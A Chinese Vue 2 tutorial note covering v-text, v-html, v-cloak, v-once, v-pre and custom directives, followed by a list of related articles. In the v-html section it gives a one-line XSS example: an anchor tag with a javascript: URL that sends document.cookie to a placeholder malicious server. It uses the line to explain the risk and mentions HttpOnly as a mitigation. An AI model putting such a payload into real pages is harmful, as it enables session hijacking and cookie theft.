VUE2 学习笔记8 v-text/html/cloak/once/pre/自定义

除了之前已经介绍过的v-on v-bind v-for v-if v-show,vue还有很多其他的指令。

v-text

v-text是Vue内置指令。内置指令,是Vue内部定义好的,开发的时候直接拿来用就行了。

v-text用于向其所在的标签添加文本。

<body><div id="root"><div v-text="data"></div></div><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {data:'hello world',}},})</script>
</body>

插值语法也可以向标签中添加本文,和v-text比起来,插值语法更灵活,因为使用v-text时,标签内部的文本会被完全忽略,最终v-text的内容会覆盖标签里的文本,这就代表着,在使用v-text时,只能用v-text的value完成所有文本的编辑,语法要稍微复杂一些。

虽然标签中写了数据catcat,但页面并没有显示这段数据,标签内的内容被完全覆盖了。

v-text并不能解析标签,如果v-text的内容是标签,标签只会被当做普通的字符串解析。

但是,如果标签中不需要添加很复杂的语法,想填充某个变量,使用v-text也可以。

v-html

与v-text对比,v-html的作用类似,也是用于向其所在的标签中添加内容,v-html也会完全替换标签中的内容。但不同的是,v-html可以解析标签内容。

但与此同时,v-html也存在安全问题

cookie

要介绍安全问题,首先要了解cookie。以登录为例,当我们在网站中输入好用户名和密码,点击登录时,如果都输入正确,会跳入用户的个人主页。登录到个人主页后,用户就具有登录状态,能够访问一些私人信息页面,比如访问个人信息库等,不需要重复输入账户和密码。这个不需要重复输入账户和密码的过程,就使用了cookie。

当用户用账户和密码登录网站时,也就是用户第一次和服务器端通信时,用户名向服务器发送数据,并且带上账户信息,服务器端接收信息,验证成功后,会给用户端响应数据,即成功的页面信息等,同时,服务器端还会返回cookie,cookie的本质就是一个类似key:value的json字符串。

当浏览器拿到服务器端返回的cookie后,浏览器会把服务器端返回的cookie存储起来。

当浏览器需要访问当前网站的其他某个需要登录态才能访问的页面时,客户端不需要重新输入账户和密码,客户端会自动携带一开始存储的服务端返回的cookie。这个cookie就是身份标识,服务端通过对cookie进行校验,可以验证用户的身份,当验证身份成功后,服务端会返回用户当前请求的数据,以及返回新的cookie。

新返的cookie,取决于服务器端的设置,并不一定都会携带,也许网站会在用户登录的时候返回所有用户需要的cookie,也可能是当用户请求某个页面时,才返回对应的cookie。浏览器同样会存储新返回的cookie。每次客户端请求信息时,都会携带服务器返回的cookie。

当cookie被攻击者窃取时,攻击者就能仿冒用户的身份,获得数据。

对于不同的浏览器,浏览器各自存储的cookie是不互通的。

cookie可以在登录页面后,按f12,在界面的application里查看,cookies都是key:value格式。

假设攻击者能获取当前用户获得访问权限需要的所有cookie,攻击者就能获得当前用户的登录态。

v-html与cookie

cookies是浏览器存储在硬盘中的数据,刷新浏览器也不会丢。通过document.cookie能够获得网站的所有cookie。

如果v-html中的标签,是恶意标签内容,在其中暗含了输出cookie的代码,就能泄露cookie信息。

<a href=javascript:location.href="恶意服务器网址?"+document.cookie></a>

当用户点击这段a标签,就会跳转到恶意服务器网址,并且会在恶意网址中以query的形式显示cookie。恶意网址收到这段访问信息,就能获得当前网站和你的cookies。

不过,其实浏览器也考虑了安全问题,实际攻击时,并不会如此容易地获取cookie,以上内容只是一个简单的例子。可以设置HttpOnly,当一个cookie被设置了HttpOnly时,那么就只有使用http协议的时候能携带这个cookie,攻击者通过javascript跳转的方式并不能获取所有的cookie。

但是,如果代码写得不够完善,还是会造成安全问题。

v-html本身能够把一段html标签直接放入页面中进行解析,本身就存在很高的安全风险。

在form相关的标签中,一定不要使用v-html。

v-cloak

考虑这样一种情况,当前网页需要请求外部js数据,且这个数据返回得非常慢,可能要很多秒才能返回。

这时候,可能会产生js阻塞现象。也就是说,如果js写在head中,浏览器在body部分渲染,js请求多久,页面就多久无法显示。

如果js写在body的最后面,虽然js不会阻塞页面的显示,但是页面上的数据可能是未经解析的,用户看到的是空白数据甚至是未经解析的模版字符串,这也会造成问题。

如果我们希望js写在body下方,且不希望内部写的代码展示在页面上,也就是不希望页面显示未经解析的代码。

vue提供v-cloak来解决这个问题。

可以在不希望页面显示代码的标签里加上v-cloak,加上v-cloak之后,在页面数据已经显示,但尚未解析的时候,v-cloak会暂时接管容器,在Vue接管容器时,v-cloak才会被删除。

v-cloak是和css配合使用的,在css中选中v-cloak属性,通过把含有v-cloak属性的标签设置成不显示,可以解决这个问题。

v-cloak用于在网速过慢时,阻止页面显示未经解析的数据。

v-once

当标签设置v-once之后,当前标签只在初次渲染时是动态的,渲染完成后,标签就变成静态的了。即使过后标签中的数据发生改变,标签也并不会重新解析。

也就是说当前标签只进行一次解析。

v-pre

用于跳过其所在标签的解析过程。

如果一个标签没有vue语法,不需要解析,就可以给当前标签设置v-pre,加速解析过程。

但要注意,如果标签中有vue语法,不要使用v-pre,使用v-pre会导致含有vue语法的标签不会进行解析,可能会在页面中显示出原生的vue语法。

自定义指令

除了vue定义好的指令,开发人员也可以自己定义指令。

vue中的指令,其实一般就是对DOM的修改操作进行了封装。

自定义指令的语法,在标签中,和一般的指令语法是一样的,v-自定义指令名="指令绑定的数据"。

对于自定义指令,需要在new vue时进行配置:通过directives:{}进行配置,指令以key:value的形式进行配置,key是自定义指令名,value配置语法有两种,一种value值是函数式,一种value值是对象式。

当把value配置成函数时,指令的效果不靠返回值,而是靠函数的参数。该函数具有两个参数,第一个参数element是指令所在的标签,该标签是真实DOM;第二个参数binding是一个对象,该对象具有很多和指令相关的数据:对象中包含指令绑定的数据,这个数值通过.value获取。对象中也记录了.expression,.expression记录了v-自定义指令名="",中""里的内容。

自定义函数何时会被调用:

自定义函数在两种情况下会被调用,一种是在指令与元素成功绑定时会调用一次。然后是指令所在的vue模板被重新解析时,指令函数也会被调用。也就是说,当其他数据修改造成模板重新解析时,当前指令也会被重新调用。

函数式

自定义指令主要取决于开发人员的需求,如果我们想把绑定的数值放大一定倍数,可以写一个v-large指令。

<body><div id="root"><div v-large="num">{{num}}</div></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {num:1,}},directives:{large(element,binding){console.log(element);console.log(binding);element.innerHTML = binding.value * 100;}}})</script>
</body>

对象式

如果想定义一个指令v-focus,该指令可以让绑定指令的input元素默认获得焦点。

对于焦点来说,一个Input框如果想获取焦点,需要DOM元素先在页面上生成,然后才能获取焦点。

由于指令是在指令与元素绑定时就调用一次开发者定义的函数,这个时候,指令对应的标签还没有生成DOM。如果使用函数的形式配置指令,是无法给标签设置focus的。

如果我们希望在DOM标签生成之后,再配置focus,就需要使用对象式配置:

指令名:{

        函数1,

        函数2,

        ....

}

对于配置对象,对象中需要配置多个函数,每个函数都有自己触发的时机,函数名是固定的,对应的触发时机也是固定的,不能自己定义。

函数具有bind、inserted和update钩子,vue会在某个时机调用某个钩子。

当指令和元素成功绑定时,就会调用bind函数。

当指令所在的标签被插入页面时,inserted被调用。

当指令所在的模板被重新解析时,update函数被调用。

在获得焦点的例子中,应该在inserted函数中配置焦点。

bind、inserted和update都有两个参数,都是element和binding。

<body><div id="root"><input type="text" v-focus/></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {}},directives:{focus:{bind(){},inserted(element,binding){element.focus();},update(){}}}})</script>
</body>

在bind函数中,可以给标签配置一些样式、事件绑定、属性值配置。

很多时候,bind函数中的逻辑,和updata的逻辑是一样的,函数式其实就相当于给指令配置了一样的bind和update,但是没有配置inserted。

自定义指令注意事项:

指令名的问题:

v- 后面的自定义指令名,如果比较复杂,可能我们会写成驼峰形式,但是这会导致报错。

vue会把v- 后面的名字都变成小写,所以最好不要写驼峰形式,对于多个单词,使用-分隔,

在配置directives时,使用字符串形式的key值进行配置:

<body><div id="root"><input type="text" v-get-fouces/></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {num:1,}},directives:{'get-fouces':{bind(){},inserted(element,binding){element.focus();},update(){}}}})</script>
</body>

函数式:

    <div id="root"><input type="text" v-get-large/></div>directives:{'get-large':function(){....}或'get-large'(){...}}

指令函数中的this指向:

函数式中的this、对象式钩子函数中的this:

这些this都是window,即使写的是普通函数,不是箭头函数,this指向的也是window。

<body><div id="root"><input type="text" v-get-large/><div v-large></div></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {num:1,}},directives:{'get-large':{bind(){console.log(this);}},large(){console.log(this);}}})</script>
</body>

对于当前组件或者vue实例中定义的指令,这些指令也是局部指令,如果要注册全局自定义指令

Vue.directive(

        自定义对象名(字符串形式),配置对象/函数

)

(要注意,局部指令是在directives中配置的,全局注册是使用directive,末尾没有s,全局指令是一个一个自定义指令注册的)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/93645.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/93645.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue 使用postcss-pxtorem 实现适老化

1. 安装依赖 npm install postcss-pxtorem -D2. 配置 Vite (vite.config.js) import { defineConfig } from vite import vue from vitejs/plugin-vue import postcsspxtorem from postcss-pxtoremexport default defineConfig({plugins: [vue()],css: {postcss: {plugins: [po…

Rust:高效错误处理工具 anyhow

Rust 的 anyhow 库是一个专注于简化错误处理的工具&#xff0c;特别适合应用程序开发场景。它通过统一的错误类型和便捷的 API&#xff0c;减少模板代码&#xff0c;提升错误信息的可读性。以下是其核心用法及示例&#xff1a;1. 安装与基础用法 在 Cargo.toml 中添加依赖&…

Solidity基础(教程①-简单数字存储)

我们来尝试一个超级简单的智能合约&#xff0c;它只会做一件事情&#xff1a;存储一个数字&#xff0c;并且让我们能修改这个数字。最简单的 Solidity 代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;// 定义一个智能合约&#xff0c;名字叫做 SimpleStorage (简…

在 Web3 时代通过自我主权合规重塑 KYC/AML

1. 引言 前序博客有&#xff1a; Ligero 和 Ligetron 中的 MPC 和 ZKLigetron&#xff1a;Nim Network开发的针对AI的zkVMLigetron&#xff1a;基于MPC-In-The-Head范式的zkVM简介谷歌采用 Ligero 构建其 ZK 技术栈 KYC&#xff08;了解你的客户&#xff0c;Know Your Custo…

Linux kernel pinctrl子系统简介

pinctrl(Pin Control)子系统是 Linux 内核中用于统一管理 SoC 引脚(Pin)功能配置的核心子系统,主要解决传统引脚管理方式中存在的配置分散、驱动冲突、资源管理混乱等问题。尤其在嵌入式系统中,SoC 引脚通常支持多种复用功能(如 GPIO、UART、SPI、I2C、视频接口等),pi…

web开发常见问题解决方案大全:502/503 Bad Gateway/Connection reset/504 timed out/400 Bad Request/401 Unauthorized

web开发常见问题解决方案大全&#xff1a;502/503 Bad Gateway&#xff0f;Connection reset&#xff0f;504 timed out&#xff0f;400 Bad Request&#xff0f;401 Unauthorized&#xff0f;403 Forbidden 在使用反向代理&#xff08;如 Nginx、HAProxy&#xff09;或正向代…

Vue 3 拖拽排序功能优化实现:从原理到实战应用

一、引言&#xff1a;为什么需要拖拽排序&#xff1f;在现代Web应用中&#xff0c;交互体验越来越受到重视。拖拽排序(Drag and Drop)作为一种直观的用户交互方式&#xff0c;被广泛应用于&#xff1a;任务管理工具&#xff08;如Trello的任务卡片排序&#xff09;内容管理系统…

git 使用 rebase 删除某次 提交

git删除某次commit记录 在Git中&#xff0c;要删除某次commit记录有几种不同的实现方法&#xff1a; 方法一&#xff1a;使用git rebase命令和~标记 该方法适用于删除最近的几次commit记录。 首先&#xff0c;使用以下命令查看你需要删除的commit的记录 git log找到你要删除的c…

第2章 cmd命令基础:常用基础命令(2)

Hi~ 我是李小咖&#xff0c;主要从事网络安全技术开发和研究。 本文取自《李小咖网安技术库》&#xff0c;欢迎一起交流学习&#x1fae1;&#xff1a;https://imbyter.com 本节介绍的命令有时间与日期&#xff08;time/date&#xff09;、显示目录&#xff08;dir&#xff09;…

我从农村来到了大城市

从田埂到霓虹初到城市那天&#xff0c;行李箱的滚轮碾过柏油路的震动&#xff0c;和老家泥地上的拖沓感完全不同。站在天桥上往下看&#xff0c;车流像被打翻的调色盘&#xff0c;红的黄的光在柏油画布上流淌&#xff0c;我数了三遍才认清那是出租车和公交车的尾灯。第一个月总…

代码随想录算法训练营第三十六天

LeetCode.1049 最后一块石头的重量 II 题目链接 最后一块石头的重量II 题解 class Solution {public int lastStoneWeightII(int[] stones) {int len stones.length;int sum 0;for(int i 0;i<len;i) sum stones[i];int target sum / 2;int[] dp new int[target 1…

Apache Ignite 的监控与指标(Monitoring and Metrics)

这段文档是关于 Apache Ignite 的监控与指标&#xff08;Monitoring and Metrics&#xff09; 的介绍&#xff0c;内容非常关键&#xff0c;尤其在生产环境中保障系统稳定性和性能时至关重要。 我们来一步步深入解析这段文字&#xff0c;帮助你彻底理解其含义和实际意义。&…

【ssh】ubuntu服务器+本地windows主机,使用密钥对进行ssh链接

目录1、服务器配置ssh2、本地主机秘钥对3、上传公钥至服务器4、配置服务器的公钥信息5、测试连接1、服务器配置ssh 使用的服务器系统为 ubuntu系统20.04 首先确认服务器是否已安装SSH&#xff0c;已安装的话会返回openssh 的相关信息&#xff0c;返回为空表示未安装 dpkg -l …

Linux文件fd

文件理解 文件属性内容 打开文件&#xff1a;本质是进程打开文件&#xff0c;文件没被打开时候再磁盘上。 操作文件&#xff1a;本质是进程操作文件。 在操作系统内部&#xff0c;一定存在大量被打开的文件&#xff0c;会对其进行管理&#xff0c;每一个被打开的文件&#…

北京-4年功能测试2年空窗-报培训班学测开-第六十四天-准备面试项目(焦虑)-同学开始面试

今日产出&#xff0c;整理自我介绍&#xff0c;继续整理第一个项目&#xff0c;学习linux命令很焦虑啊很焦虑&#xff0c;很着急今天本打算结束第一个项目的&#xff0c;但是没能够&#xff0c;越说感觉越乱&#xff0c;让同学听我讲&#xff0c;同学说&#xff0c;要听睡着了于…

网络是如何运转的?——常见网络协议与网络分层模型

目录 基本网络协议 TCP&#xff08;传输控制协议&#xff09; 可靠传输&#xff1a;序列号确认应答重传机制 序列号&#xff08;seq&#xff09; 确认应答&#xff08;ACK&#xff09; 超时重传 三次握手与四次挥手 三次握手&#xff08;建立连接&#xff09; 四次挥手…

OpenAI放大招:ChatGPT学习模式上线,免费AI智能家教

目录一、背景介绍二、学习模式是什么国内直接使用AI主流模型GPT-5也会第一时间同步更新。三、主要功能特点1、互动式提示2、分层次响应3、个性化支持4、知识检查5、灵活切换四、学生如何使用学习模式1、访问方式2、适用场景3、交互过程4、使用示例五、局限性1、依赖学生自觉性2…

设计模式:享元模式 Flyweight

目录前言问题解决方案享元工厂结构代码前言 享元是一种结构型设计模式&#xff0c;它摒弃了在每个对象中保存所有数据的方式&#xff0c;通过共享多个对象所共有的相同状态&#xff0c;让你能在有限的内存容量中载入更多对象。 问题 假如你希望在长时间工作后放松一下&#x…

Spring Boot容器化实战:用官方OpenJDK镜像极速启动你的应用

前言 用 Docker 打包 Java 应用,尤其是 Spring Boot,简直是开发者的超级利器。想象一下,你的程序就像勤快的外卖小哥,随时待命,跑遍任何一台机器,马上为你服务。不论是开发环境还是生产环境,Docker 都能让部署变得轻松又高效,彻底告别“环境不一致”的烦恼。 本篇文章…

【计算机网络 | 第1篇】计算机网络概述(上)

文章目录一.现代通信基础&#x1f95d;二.网络、互联网、英特网&#x1f9fe;1.网络&#xff08;Network&#xff09;2.互联网&#xff08;internet&#xff09;3.因特网&#xff08;Internet&#xff09;三.计算机网络的标准定义&#x1f95d;早期定义&#x1f9fe;物理构成视…